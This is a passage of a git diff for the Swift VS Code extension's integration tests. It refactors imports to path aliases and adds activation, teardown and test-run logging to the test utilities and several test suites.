"../utilities/testutilities"; -// eslint-disable-next-line @typescript-eslint/no-require-imports -import stripAnsi = require("strip-ansi"); - -/** - * Sets up a test that leverages the TestExplorer, returning the TestExplorer, - * WorkspaceContext and a callback to revert the settings back to their original values. - * @param settings Optional extension settings to set before the test starts. - * @returns Object containing the TestExplorer, WorkspaceContext and a callback to revert - * the settings back to their original values. - */ -export async function setupTestExplorerTest(currentTest?: Mocha.Test, settings: SettingsMap = {}) { - const settingsTeardown = await updateSettings(settings); - - const testProject = testAssetUri("defaultPackage"); - - const workspaceContext = await activateExtension(currentTest); - const testExplorer = testExplorerFor(workspaceContext, testProject); +import * as vscode from "vscode"; - // Set up the listener before bringing the text explorer in to focus, - // which starts searching the workspace for tests. - await waitForTestExplorerReady(testExplorer); +import { TestExplorer } from "@src/TestExplorer/TestExplorer"; +import { TestKind } from "@src/TestExplorer/TestKind"; +import { TestRunProxy } from "@src/TestExplorer/TestRunner"; +import { reduceTestItemChildren } from "@src/TestExplorer/TestUtils"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { SwiftLogger } from "@src/logging/SwiftLogger"; - return { - settingsTeardown: async () => { - await settingsTeardown(); - await deactivateExtension(); - }, - workspaceContext, - testExplorer, - }; -} +// eslint-disable-next-line @typescript-eslint/no-require-imports +import stripAnsi = require("strip-ansi"); /** * Returns the TestExplorer for the given workspace and package folder. @@ -212,10 +178,15 @@ export function eventPromise(event: vscode.Event): Promise { * @returns The initialized test controller */ export async function waitForTestExplorerReady( - testExplorer: TestExplorer + testExplorer: TestExplorer, + logger: SwiftLogger ): Promise { await vscode.commands.executeCommand("workbench.view.testing.focus"); - const controller = await (testExplorer.controller.items.size === 0 + const noExistingTests = testExplorer.controller.items.size === 0; + logger.info( + `waitForTestExplorerReady: Found ${testExplorer.controller.items.size} existing top level test(s)` + ); + const controller = await (noExistingTests ? eventPromise(testExplorer.onTestItemsDidChange) : Promise.resolve(testExplorer.controller)); return controller; @@ -293,10 +264,12 @@ export function gatherTests( * @returns A test run proxy whose `runState` can be inspected for test results. */ export async function runTest( + logger: SwiftLogger, testExplorer: TestExplorer, runProfile: TestKind, ...tests: string[] ): Promise { + logger.info(`runTest: ${runProfile} tests: ${tests}`); const targetProfile = testExplorer.testRunProfiles.find( profile => profile.label === runProfile ); @@ -306,13 +279,37 @@ export async function runTest( const testItems = gatherTests(testExplorer.controller, ...tests); const request = new vscode.TestRunRequest(testItems); + logger.info(`runTest: configuring test run with ${testItems.map(t => t.id)}`); + // The first promise is the return value, the second promise builds and runs // the tests, populating the TestRunProxy with results and blocking the return // of that TestRunProxy until the test run is complete. return ( await Promise.all([ - eventPromise(testExplorer.onCreateTestRun), - targetProfile.runHandler(request, new vscode.CancellationTokenSource().token), + eventPromise(testExplorer.onCreateTestRun).then(run => { + logger.info(`runTest: created test run with items ${run.testItems.map(t => t.id)}`); + return run; + }), + performRun(targetProfile, request, logger), ]) )[0]; } + +async function performRun( + targetProfile: vscode.TestRunProfile, + request: vscode.TestRunRequest, + logger: SwiftLogger +): Promise { + const run = targetProfile.runHandler(request, new vscode.CancellationTokenSource().token); + if (!run) { + throw new Error("No test run was created"); + } + logger.info(`runTest: starting running tests`); + try { + await run; + logger.info(`runTest: completed running tests`); + } catch (e) { + logger.error(`runTest: error running tests: ${e}`); + throw e; + } +} diff --git a/test/integration-tests/ui/ProjectPanelProvider.test.ts b/test/integration-tests/ui/ProjectPanelProvider.test.ts index 6bb2a8281..247a1d3b1 100644 --- a/test/integration-tests/ui/ProjectPanelProvider.test.ts +++ b/test/integration-tests/ui/ProjectPanelProvider.test.ts @@ -11,56 +11,62 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { expect } from "chai"; -import { beforeEach, afterEach } from "mocha"; -import * as vscode from "vscode"; +import { afterEach, beforeEach } from "mocha"; import * as path from "path"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { Commands } from "@src/commands"; +import { createBuildAllTask } from "@src/tasks/SwiftTaskProvider"; import { - ProjectPanelProvider, - PackageNode, FileNode, + PackageNode, + ProjectPanelProvider, TreeNode, -} from "../../../src/ui/ProjectPanelProvider"; -import { executeTaskAndWaitForResult, waitForNoRunningTasks } from "../../utilities/tasks"; -import { createBuildAllTask } from "../../../src/tasks/SwiftTaskProvider"; +} from "@src/ui/ProjectPanelProvider"; +import { wait } from "@src/utilities/utilities"; +import { Version } from "@src/utilities/version"; + import { testAssetPath } from "../../fixtures"; +import { tag } from "../../tags"; +import { executeTaskAndWaitForResult, waitForNoRunningTasks } from "../../utilities/tasks"; import { activateExtensionForSuite, folderInRootWorkspace, updateSettings, } from "../utilities/testutilities"; -import contextKeys from "../../../src/contextKeys"; -import { WorkspaceContext } from "../../../src/WorkspaceContext"; -import { Version } from "../../../src/utilities/version"; -import { wait } from "../../../src/utilities/utilities"; -import { SwiftOutputChannel } from "../../../src/ui/SwiftOutputChannel"; -import { Commands } from "../../../src/commands"; - -suite("ProjectPanelProvider Test Suite", function () { + +tag("medium").suite("ProjectPanelProvider Test Suite", function () { let workspaceContext: WorkspaceContext; let treeProvider: ProjectPanelProvider; - this.timeout(5 * 60 * 1000); // Allow up to 5 minutes to build activateExtensionForSuite({ async setup(ctx) { workspaceContext = ctx; + const folderContext = await folderInRootWorkspace("targets", workspaceContext); await vscode.workspace.openTextDocument( path.join(folderContext.folder.fsPath, "Package.swift") ); - const outputChannel = new SwiftOutputChannel("ProjectPanelProvider.tests"); - await folderContext.loadSwiftPlugins(outputChannel); - expect(outputChannel.logs.length).to.equal(0, `Expected no output channel logs`); - treeProvider = new ProjectPanelProvider(workspaceContext); + const logger = await ctx.loggerFactory.temp("ProjectPanelProvider.tests"); + await folderContext.loadSwiftPlugins(logger); + if (logger.logs.length > 0) { + expect.fail( + `Expected no output channel logs: ${JSON.stringify(logger.logs, undefined, 2)}` + ); + } + + treeProvider = ctx.projectPanel; + await workspaceContext.focusFolder(folderContext); const buildAllTask = await createBuildAllTask(folderContext); buildAllTask.definition.dontTriggerTestDiscovery = true; await executeTaskAndWaitForResult(buildAllTask); }, async teardown() { - contextKeys.flatDependenciesList = false; - treeProvider.dispose(); + workspaceContext.contextKeys.flatDependenciesList = false; }, testAssets: ["targets"], }); @@ -302,7 +308,7 @@ suite("ProjectPanelProvider Test Suite", function () { suite("Dependencies", () => { test("Includes remote dependency", async () => { - contextKeys.flatDependenciesList = false; + workspaceContext.contextKeys.flatDependenciesList = false; const items = await getHeaderChildren("Dependencies"); const dep = items.find(n => n.name === "swift-markdown") as PackageNode; expect(dep, `${JSON.stringify(items, null, 2)}`).to.not.be.undefined; @@ -325,7 +331,7 @@ suite("ProjectPanelProvider Test Suite", function () { }); test("Lists local dependency file structure", async () => { - contextKeys.flatDependenciesList = false; + workspaceContext.contextKeys.flatDependenciesList = false; const children = await getHeaderChildren("Dependencies"); const dep = children.find(n => n.name === "defaultpackage") as PackageNode; expect( @@ -359,7 +365,7 @@ suite("ProjectPanelProvider Test Suite", function () { }); test("Lists remote dependency file structure", async () => { - contextKeys.flatDependenciesList = false; + workspaceContext.contextKeys.flatDependenciesList = false; const children = await getHeaderChildren("Dependencies"); const dep = children.find(n => n.name === "swift-markdown") as PackageNode; expect(dep, `${JSON.stringify(children, null, 2)}`).to.not.be.undefined; @@ -385,7 +391,7 @@ suite("ProjectPanelProvider Test Suite", function () { }); test("Shows a flat dependency list", async () => { - contextKeys.flatDependenciesList = true; + workspaceContext.contextKeys.flatDependenciesList = true; const items = await getHeaderChildren("Dependencies"); expect(items.length).to.equal(3); expect(items.find(n => n.name === "swift-markdown")).to.not.be.undefined; @@ -394,20 +400,38 @@ suite("ProjectPanelProvider Test Suite", function () { }); test("Shows a nested dependency list", async () => { - contextKeys.flatDependenciesList = false; + workspaceContext.contextKeys.flatDependenciesList = false; const items = await getHeaderChildren("Dependencies"); expect(items.length).to.equal(2); expect(items.find(n => n.name === "swift-markdown")).to.not.be.undefined; expect(items.find(n => n.name === "defaultpackage")).to.not.be.undefined; }); - test("Shows an error node when there is a problem compiling Package.swift", async () => { - workspaceContext.folders[0].hasResolveErrors = true; - workspaceContext.currentFolder = workspaceContext.folders[0]; - const treeProvider = new ProjectPanelProvider(workspaceContext); - const children = await treeProvider.getChildren(); - const errorNode = children.find(n => n.name === "Error Parsing Package.swift"); - expect(errorNode).to.not.be.undefined; + suite("Error handling", () => { + let savedCurrentFolder: FolderContext | null | undefined; + let errorTreeProvider: ProjectPanelProvider | undefined; + + beforeEach(async () => { + workspaceContext.folders[0].hasResolveErrors = true; + savedCurrentFolder = workspaceContext.currentFolder; + workspaceContext.currentFolder = workspaceContext.folders[0]; + }); + + afterEach(() => { + errorTreeProvider?.dispose(); + errorTreeProvider = undefined; + workspaceContext.folders[0].hasResolveErrors = false; + workspaceContext.currentFolder = savedCurrentFolder; + }); + + test("Shows an error node when there is a problem compiling Package.swift", async () => { + workspaceContext.folders[0].hasResolveErrors = true; + workspaceContext.currentFolder = workspaceContext.folders[0]; + errorTreeProvider = new ProjectPanelProvider(workspaceContext); + const children = await errorTreeProvider.getChildren(); + const errorNode = children.find(n => n.name === "Error Parsing Package.swift"); + expect(errorNode).to.not.be.undefined; + }); }); suite("Excluded files", () => { @@ -420,7 +444,7 @@ suite("ProjectPanelProvider Test Suite", function () { }); test("Excludes files based on settings", async () => { - contextKeys.flatDependenciesList = false; + workspaceContext.contextKeys.flatDependenciesList = false; const children = await getHeaderChildren("Dependencies"); const dep = children.find(n => n.name === "swift-markdown") as PackageNode; expect(dep, `${JSON.stringify(children, null, 2)}`).to.not.be.undefined; diff --git a/test/integration-tests/ui/SwiftOutputChannel.test.ts b/test/integration-tests/ui/SwiftOutputChannel.test.ts index 8321b9319..978d49120 100644 --- a/test/integration-tests/ui/SwiftOutputChannel.test.ts +++ b/test/integration-tests/ui/SwiftOutputChannel.test.ts @@ -11,16 +11,28 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as assert from "assert"; -import { SwiftOutputChannel } from "../../../src/ui/SwiftOutputChannel"; +import { join } from "path"; + +import { SwiftOutputChannel } from "@src/logging/SwiftOutputChannel"; +import { TemporaryFolder } from "@src/utilities/tempFolder"; suite("SwiftOutputChannel", function () { let channel: SwiftOutputChannel; const channels: SwiftOutputChannel[] = []; + let tempFolder: TemporaryFolder; + + suiteSetup(async function () { + tempFolder = await TemporaryFolder.create(); + }); + setup(function () { const channelName = `SwiftOutputChannel Tests ${this.currentTest?.id ?? ""}`; - channel = new SwiftOutputChannel(channelName, 3); + channel = new SwiftOutputChannel( + channelName, + join(tempFolder.path, "SwiftOutputChannel.test.log"), + 3 + ); channels.push(channel); }); diff --git a/test/integration-tests/utilities/filesystem.test.ts b/test/integration-tests/utilities/filesystem.test.ts index 067dea575..a69139c29 100644 --- a/test/integration-tests/utilities/filesystem.test.ts +++ b/test/integration-tests/utilities/filesystem.test.ts @@ -11,10 +11,10 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as assert from "assert"; import * as path from "path"; -import { fileExists, pathExists } from "../../../src/utilities/filesystem"; + +import { fileExists, pathExists } from "@src/utilities/filesystem"; suite("File System Utilities Test Suite", () => { test("fileExists", async () => { diff --git a/test/integration-tests/utilities/lsputilities.ts b/test/integration-tests/utilities/lsputilities.ts index 7422d6731..7f744c2b6 100644 --- a/test/integration-tests/utilities/lsputilities.ts +++ b/test/integration-tests/utilities/lsputilities.ts @@ -11,11 +11,10 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; import * as langclient from "vscode-languageclient/node"; -import { LanguageClientManager } from "../../../src/sourcekit-lsp/LanguageClientManager"; -import { Version } from "../../../src/utilities/version"; + +import { LanguageClientManager } from "@src/sourcekit-lsp/LanguageClientManager"; export async function waitForClient( languageClientManager: LanguageClientManager, @@ -34,38 +33,6 @@ export async function waitForClient( return result; } -// eslint-disable-next-line @typescript-eslint/no-namespace -export namespace PollIndexRequest { - export const method = "workspace/_pollIndex" as const; - export const messageDirection: langclient.MessageDirection = - langclient.MessageDirection.clientToServer; - export const type = new langclient.RequestType(method); -} - -// eslint-disable-next-line @typescript-eslint/no-namespace -export namespace WorkspaceSynchronizeRequest { - export const method = "workspace/synchronize" as const; - export const messageDirection: langclient.MessageDirection = - langclient.MessageDirection.clientToServer; - export const type = new langclient.RequestType(method); -} -export async function waitForIndex( - languageClientManager: LanguageClientManager, - swiftVersion: Version -): Promise { - const requestType = swiftVersion.isGreaterThanOrEqual(new Version(6, 2, 0)) - ? WorkspaceSynchronizeRequest.type - : PollIndexRequest.type; - - await languageClientManager.useLanguageClient(async (client, token) => - client.sendRequest( - requestType, - requestType === WorkspaceSynchronizeRequest.type ? { index: true } : {}, - token - ) - ); -} - export async function waitForClientState( languageClientManager: LanguageClientManager, expectedState: langclient.State diff --git a/test/integration-tests/utilities/testutilities.test.ts b/test/integration-tests/utilities/testutilities.test.ts index 86f38ba29..618c23143 100644 --- a/test/integration-tests/utilities/testutilities.test.ts +++ b/test/integration-tests/utilities/testutilities.test.ts @@ -11,8 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { expect } from "chai"; + import { isConfigurationSuperset } from "./testutilities"; suite("Test Utilities", () => { diff --git a/test/integration-tests/utilities/testutilities.ts b/test/integration-tests/utilities/testutilities.ts index 761ae7c5c..5fcb38595 100644 --- a/test/integration-tests/utilities/testutilities.ts +++ b/test/integration-tests/utilities/testutilities.ts @@ -11,21 +11,26 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as assert from "assert"; import * as mocha from "mocha"; -import { Api } from "../../../src/extension"; +import * as path from "path"; +import { isDeepStrictEqual } from "util"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { FolderOperation, WorkspaceContext } from "@src/WorkspaceContext"; +import configuration from "@src/configuration"; +import { getLLDBLibPath } from "@src/debugger/lldb"; +import { Api } from "@src/extension"; +import { SwiftLogger } from "@src/logging/SwiftLogger"; +import { buildAllTaskName, resetBuildAllTaskCache } from "@src/tasks/SwiftTaskProvider"; +import { Extension } from "@src/utilities/extensions"; +import { fileExists } from "@src/utilities/filesystem"; +import { Version } from "@src/utilities/version"; + import { testAssetPath, testAssetUri } from "../../fixtures"; -import { FolderOperation, WorkspaceContext } from "../../../src/WorkspaceContext"; -import { FolderContext } from "../../../src/FolderContext"; -import { waitForNoRunningTasks } from "../../utilities/tasks"; import { closeAllEditors } from "../../utilities/commands"; -import { isDeepStrictEqual } from "util"; -import { Version } from "../../../src/utilities/version"; -import { SwiftOutputChannel } from "../../../src/ui/SwiftOutputChannel"; -import configuration from "../../../src/configuration"; -import { buildAllTaskName, resetBuildAllTaskCache } from "../../../src/tasks/SwiftTaskProvider"; +import { waitForNoRunningTasks } from "../../utilities/tasks"; export function getRootWorkspaceFolder(): vscode.WorkspaceFolder { const result = vscode.workspace.workspaceFolders?.at(0); @@ -33,10 +38,68 @@ export function getRootWorkspaceFolder(): vscode.WorkspaceFolder { return result; } -function printLogs(outputChannel: SwiftOutputChannel, message: string) { +interface Loggable { + get logs(): string[]; +} + +function printLogs(logger: Loggable, message: string) { console.error(`${message}, captured logs are:`); - outputChannel.logs.map(log => console.log(log)); - console.log("======== END OF LOGS ========\n\n"); + logger.logs.map(log => console.log(log)); + console.log("======== END OF LOGS ========\n"); +} + +// Until the logger on the WorkspaceContext is available we capture logs here. +// Once it becomes available (via setLogger) we forward logs to that logger to maintain ordering. +class ExtensionActivationLogger implements Loggable { + private logger: SwiftLogger | undefined; + private _logs: string[] = []; + + get logs(): string[] { + return [...this._logs, ...(this.logger?.logs ?? [])]; + } + + setLogger(logger: SwiftLogger) { + this.logger = logger; + } + + private formatTimestamp(): string { + const now = new Date(); + return now.toLocaleString("en-US", { + hour: "2-digit", + minute: "2-digit", + second: "2-digit", + hour12: false, + }); + } + + info(message: string) { + const timestamp = this.formatTimestamp(); + const timestampedMessage = `[${timestamp}] ${message}`; + + if (this.logger) { + this.logger.info(timestampedMessage); + } else { + this._logs.push(timestampedMessage); + } + } + + reset() { + this._logs = []; + this.logger = undefined; + } +} + +// Mocha doesn't give us a hook to run code when a before block times out. +// This utility method can be used to dump logs right before the before block times out. +// Ensure you pass in a timeout that is slightly less than mocha's `before` timeout. +function configureLogDumpOnTimeout(timeout: number, logger: ExtensionActivationLogger) { + return setTimeout( + () => { + logger.info(`Activating extension timed out!`); + printLogs(logger, "Activating extension exceeded the timeout"); + }, + Math.max(0, timeout - 300) + ); } const extensionBootstrapper = (() => { @@ -44,6 +107,8 @@ const extensionBootstrapper = (() => { let activatedAPI: Api | undefined = undefined; let lastTestName: string | undefined = undefined; const testTitle = (currentTest: Mocha.Test) => currentTest.titlePath().join(" → "); + let activationLogger: ExtensionActivationLogger; + let asyncLogWrapper: (prefix: string, asyncWork: () => Thenable) => Promise; function testRunnerSetup( before: Mocha.HookFunction, @@ -62,20 +127,41 @@ const extensionBootstrapper = (() => { let workspaceContext: WorkspaceContext | undefined; let autoTeardown: void | (() => Promise); let restoreSettings: (() => Promise) | undefined; - before(async function () { + activationLogger = new ExtensionActivationLogger(); + asyncLogWrapper = withLogging(activationLogger); + const SETUP_TIMEOUT_MS = 300_000; + const TEARDOWN_TIMEOUT_MS = 60_000; + + before("Activate Swift Extension", async function () { + // Allow enough time for the extension to activate + this.timeout(SETUP_TIMEOUT_MS); + + // Mocha doesn't give us a hook to run code when a before block times out, so + // we set a timeout to just before mocha's so we have time to print the logs. + const timer = configureLogDumpOnTimeout(SETUP_TIMEOUT_MS, activationLogger); + + activationLogger.info(`Begin activating extension`); + // Make sure that CodeLLDB is installed for debugging related tests if (!vscode.extensions.getExtension("vadimcn.vscode-lldb")) { - await vscode.commands.executeCommand( - "workbench.extensions.installExtension", - "vadimcn.vscode-lldb" + await asyncLogWrapper( + "vadimcn.vscode-lldb is not installed, installing CodeLLDB extension for the debugging tests.", + () => + vscode.commands.executeCommand( + "workbench.extensions.installExtension", + "vadimcn.vscode-lldb" + ) ); } // Always activate the extension. If no test assets are provided, // default to adding `defaultPackage` to the workspace. workspaceContext = await extensionBootstrapper.activateExtension( - this.currentTest, + this.currentTest ?? this.test, testAssets ?? ["defaultPackage"] ); + activationLogger.setLogger(workspaceContext.logger); + activationLogger.info(`Extension activated successfully.`); + // Need the `disableSandbox` configuration which is only in 6.1 // https://github.com/swiftlang/sourcekit-lsp/commit/7e2d12a7a0d184cc820ae6af5ddbb8aa18b1501c if ( @@ -83,80 +169,104 @@ const extensionBootstrapper = (() => { workspaceContext.globalToolchain.swiftVersion.isLessThan(new Version(6, 1, 0)) && requiresLSP ) { + activationLogger.info(`Skipping test, LSP is required but not available.`); this.skip(); } if (requiresDebugger && configuration.debugger.disable) { + activationLogger.info( + `Skipping test, Debugger is required but disabled in the configuration.` + ); this.skip(); } // CodeLLDB does not work with libllbd in Swift toolchains prior to 5.10 if (workspaceContext.globalToolchainSwiftVersion.isLessThan(new Version(5, 10, 0))) { - restoreSettings = await updateSettings({ - "swift.debugger.setupCodeLLDB": "never", - }); + await asyncLogWrapper('Setting swift.debugger.setupCodeLLDB: "never"', () => + updateSettings({ + "swift.debugger.setupCodeLLDB": "never", + }) + ); } else if (requiresDebugger) { - await workspaceContext.launchProvider.promptForCodeLldbSettings( - workspaceContext.globalToolchain + const lldbLibPath = await asyncLogWrapper("Getting LLDB library path", async () => + getLLDBLibPath(workspaceContext!.globalToolchain) + ); + activationLogger.info( + `LLDB library path is: ${lldbLibPath.success ?? "not found"}` ); } // Make sure no running tasks before setting up - await waitForNoRunningTasks({ timeout: 10000 }); + await asyncLogWrapper("Waiting for no running tasks before starting test/suite", () => + waitForNoRunningTasks({ timeout: 10000 }) + ); + // Clear build all cache before starting suite resetBuildAllTaskCache(); if (!setup) { + activationLogger.info("Activation complete!"); + clearTimeout(timer); return; } try { // If the setup returns a promise it is used to undo whatever setup it did. // Typically this is the promise returned from `updateSettings`, which will // undo any settings changed during setup. - autoTeardown = await setup.call(this, workspaceContext); + autoTeardown = await asyncLogWrapper( + "Calling user defined setup method to configure test/suite specifics", + () => setup.call(this, workspaceContext!) + ); } catch (error: any) { // Mocha will throw an error to break out of a test if `.skip` is used. if (error.message?.indexOf("sync skip;") === -1) { - console.error(`Error during test/suite setup, captured logs are:`); - workspaceContext.outputChannel.logs.map(log => console.error(log)); - console.log("======== END OF LOGS ========\n\n"); + printLogs(activationLogger, "Error during test/suite setup"); } throw error; + } finally { + clearTimeout(timer); } }); mocha.beforeEach(function () { if (this.currentTest && activatedAPI) { - activatedAPI.outputChannel.clear(); - activatedAPI.outputChannel.appendLine( - `Starting test: ${testTitle(this.currentTest)}` - ); + activatedAPI.logger.clear(); + activatedAPI.logger.info(`Starting test: ${testTitle(this.currentTest)}`); } }); mocha.afterEach(async function () { if (this.currentTest && activatedAPI && this.currentTest.isFailed()) { - printLogs( - activatedAPI.outputChannel, - `Test failed: ${testTitle(this.currentTest)}` - ); + printLogs(activationLogger, `Test failed: ${testTitle(this.currentTest)}`); } if (vscode.debug.activeDebugSession) { await vscode.debug.stopDebugging(vscode.debug.activeDebugSession); } }); - after(async function () { + after("Deactivate Swift Extension", async function () { + // Allow enough time for the extension to deactivate + this.timeout(TEARDOWN_TIMEOUT_MS); + + const timer = configureLogDumpOnTimeout(TEARDOWN_TIMEOUT_MS, activationLogger); + + activationLogger.info("Deactivating extension..."); + let userTeardownError: unknown | undefined; try { // First run the users supplied teardown, then await the autoTeardown if it exists. if (teardown) { - await teardown.call(this); + await asyncLogWrapper("Running user teardown function...", () => + teardown.call(this) + ); } if (autoTeardown) { - await autoTeardown(); + await asyncLogWrapper( + "Running auto teardown function (function returned from setup)...", + () => autoTeardown!() + ); } } catch (error) { if (workspaceContext) { - printLogs(workspaceContext.outputChannel, "Error during test/suite teardown"); + printLogs(activationLogger, "Error during test/suite teardown"); } // We always want to restore settings and deactivate the extension even if the // user supplied teardown fails. That way we have the best chance at not causing @@ -167,9 +277,15 @@ const extensionBootstrapper = (() => { } if (restoreSettings) { - await restoreSettings(); + await asyncLogWrapper("Running restore settings function...", () => + restoreSettings!() + ); } + activationLogger.info("Deactivation complete, calling deactivateExtension()"); await extensionBootstrapper.deactivateExtension(); + activationLogger.reset(); + + clearTimeout(timer); // Re-throw the user supplied teardown error if (userTeardownError) { @@ -184,12 +300,13 @@ const extensionBootstrapper = (() => { // test run, so after it is called once we switch over to calling activate on // the returned API object which behaves like the extension is being launched for // the first time _as long as everything is disposed of properly in `deactivate()`_. - activateExtension: async function (currentTest?: Mocha.Test, testAssets?: string[]) { + activateExtension: async function (currentTest?: Mocha.Runnable, testAssets?: string[]) { if (activatedAPI) { throw new Error( `Extension is already activated. Last test that activated the extension: ${lastTestName}` ); } + const extensionId = "swiftlang.swift-vscode"; const ext = vscode.extensions.getExtension(extensionId); if (!ext) { @@ -202,28 +319,41 @@ const extensionBootstrapper = (() => { // `vscode.extensions.getExtension("swiftlang.swift-vscode")` once. // Subsequent activations must be done through the returned API object. if (!activator) { - for (const depId of ["vadimcn.vscode-lldb", "llvm-vs-code-extensions.lldb-dap"]) { + activationLogger.info( + "Performing the one and only extension activation for this test run." + ); + for (const depId of [Extension.CODELLDB, Extension.LLDBDAP]) { const dep = vscode.extensions.getExtension(depId); if (!dep) { throw new Error(`Unable to find extension "${depId}"`); } - await dep.activate(); + await asyncLogWrapper(`Activating dependency extension "${depId}".`, () => + dep.activate() + ); } - activatedAPI = await ext.activate(); + + activatedAPI = await asyncLogWrapper( + "Activating Swift extension (true activation)...", + () => ext.activate() + ); + // Save the test name so if the test doesn't clean up by deactivating properly the next // test that tries to activate can throw an error with the name of the test that needs to clean up. lastTestName = currentTest?.titlePath().join(" → "); activator = activatedAPI.activate; workspaceContext = activatedAPI.workspaceContext; } else { - activatedAPI = await activator(); + activatedAPI = await asyncLogWrapper( + "Activating Swift extension by re-calling the extension's activation method...", + () => activator!() + ); lastTestName = currentTest?.titlePath().join(" → "); workspaceContext = activatedAPI.workspaceContext; } if (!workspaceContext) { printLogs( - activatedAPI.outputChannel, + activationLogger, "Error during test/suite setup, workspace context could not be created" ); throw new Error("Extension did not activate. Workspace context is not available."); @@ -232,9 +362,13 @@ const extensionBootstrapper = (() => { // Add assets required for the suite/test to the workspace. const expectedAssets = testAssets ?? ["defaultPackage"]; if (!vscode.workspace.workspaceFile) { + activationLogger.info(`No workspace file found, adding assets directly.`); for (const asset of expectedAssets) { - await folderInRootWorkspace(asset, workspaceContext); + await asyncLogWrapper(`Adding ${asset} to workspace...`, () => + folderInRootWorkspace(asset, workspaceContext) + ); } + activationLogger.info(`All assets added to workspace.`); } else if (expectedAssets.length > 0) { await new Promise(res => { const found: string[] = []; @@ -242,6 +376,7 @@ const extensionBootstrapper = (() => { if (found.includes(f.name) || !expectedAssets.includes(f.name)) { continue; } + activationLogger.info(`Added ${f.name} to workspace`); found.push(f.name); } if (expectedAssets.length === found.length) { @@ -256,6 +391,7 @@ const extensionBootstrapper = (() => { ) { return; } + activationLogger.info(`Added ${e.folder!.name} to workspace`); found.push(e.folder!.name); if (expectedAssets.length === found.length) { res(); @@ -263,6 +399,7 @@ const extensionBootstrapper = (() => { } }); }); + activationLogger.info(`All assets added to workspace.`); } return workspaceContext; @@ -274,13 +411,23 @@ const extensionBootstrapper = (() => { // Wait for up to 10 seconds for all tasks to complete before deactivating. // Long running tasks should be avoided in tests, but this is a safety net. - await waitForNoRunningTasks({ timeout: 10000 }); + await asyncLogWrapper(`Deactivating extension, waiting for no running tasks.`, () => + waitForNoRunningTasks({ timeout: 10000 }) + ); // Close all editors before deactivating the extension. - await closeAllEditors(); - - await activatedAPI.workspaceContext?.removeWorkspaceFolder(getRootWorkspaceFolder()); + await asyncLogWrapper(`Closing all editors.`, () => closeAllEditors()); + + await asyncLogWrapper( + `Removing root workspace folder.`, + () => + activatedAPI!.workspaceContext?.removeWorkspaceFolder( + getRootWorkspaceFolder() + ) ?? Promise.resolve() + ); + activationLogger.info(`Running extension deactivation function.`); await activatedAPI.deactivate(); + activationLogger.reset(); activatedAPI = undefined; lastTestName = undefined; }, @@ -361,14 +508,24 @@ export const folderInRootWorkspace = async ( workspaceContext: WorkspaceContext ): Promise => { const workspaceFolder = getRootWorkspaceFolder(); - let folder = workspaceContext.folders.find(f => f.workspaceFolder.name === `test/${name}`); + let folder = workspaceContext.folders.find(f => f.relativePath === name); if (!folder) { + workspaceContext.logger.info(`${name} not found, adding folder ${name} to workspace`); folder = await workspaceContext.addPackageFolder(testAssetUri(name), workspaceFolder); + } else { + workspaceContext.logger.info(`${name} found, reusing existing folder`); + } + + // Folders that aren't packages (i.e. assets/tests/scripts) wont generate build tasks. + if (!(await fileExists(path.join(testAssetUri(name).fsPath, "Package.swift")))) { + return folder; } + let i = 0; while (i++ < 5) { const tasks = await vscode.tasks.fetchTasks({ type: "swift" }); - if (tasks.find(t => t.name === buildAllTaskName(folder, false))) { + const buildAllName = buildAllTaskName(folder, false); + if (tasks.find(t => t.name === buildAllName)) { break; } await new Promise(r => setTimeout(r, 5000)); @@ -532,3 +689,24 @@ export function isConfigurationSuperset(configValue: unknown, expected: unknown) // If types don't match (one is array, one is object), return false return false; } + +/** + * Creates a logging wrapper function that wraps async operations with prefixed start/end logging messages. + * Logs when the operation starts, completes successfully, or fails with an error. + * + * @param logger The logger object that must have an `info` method for logging messages + * @returns A wrapper function that takes a prefix and async work function, returning a promise that resolves to the result of the async work + */ +export function withLogging(logger: { info: (message: string) => void }) { + return async function (prefix: string, asyncWork: () => Thenable): Promise { + logger.info(`${prefix} - starting`); + try { + const result = await asyncWork(); + logger.info(`${prefix} - completed`); + return result; + } catch (error) { + logger.info(`${prefix} - failed: ${error}`); + throw error; + } + }; +} diff --git a/test/integration-tests/utilities/utilities.test.ts b/test/integration-tests/utilities/utilities.test.ts index 357cee524..6c5da09af 100644 --- a/test/integration-tests/utilities/utilities.test.ts +++ b/test/integration-tests/utilities/utilities.test.ts @@ -11,14 +11,10 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as assert from "assert"; import * as Stream from "stream"; -import { - execFileStreamOutput, - execSwift, - getSwiftExecutable, -} from "../../../src/utilities/utilities"; + +import { execFileStreamOutput, execSwift, getSwiftExecutable } from "@src/utilities/utilities"; suite("Utilities Test Suite", () => { test("execFileStreamOutput", async () => { diff --git a/test/integration-tests/utilities/workspace.test.ts b/test/integration-tests/utilities/workspace.test.ts index 8093186e0..5c4fef720 100644 --- a/test/integration-tests/utilities/workspace.test.ts +++ b/test/integration-tests/utilities/workspace.test.ts @@ -11,18 +11,23 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; -import { searchForPackages } from "../../../src/utilities/workspace"; import { expect } from "chai"; +import * as vscode from "vscode"; + +import { Version } from "@src/utilities/version"; +import { searchForPackages } from "@src/utilities/workspace"; suite("Workspace Utilities Test Suite", () => { suite("searchForPackages", () => { + const testSwiftVersion = new Version(5, 9, 0); + test("ignores excluded file", async () => { const folders = await searchForPackages( (vscode.workspace.workspaceFolders ?? [])[0]!.uri, false, - true + true, + [], + testSwiftVersion ); expect(folders.find(f => f.fsPath.includes("defaultPackage"))).to.not.be.undefined; diff --git a/test/reporters/GitHubActionsSummaryReporter.ts b/test/reporters/GitHubActionsSummaryReporter.ts new file mode 100644 index 000000000..91ebba795 --- /dev/null +++ b/test/reporters/GitHubActionsSummaryReporter.ts @@ 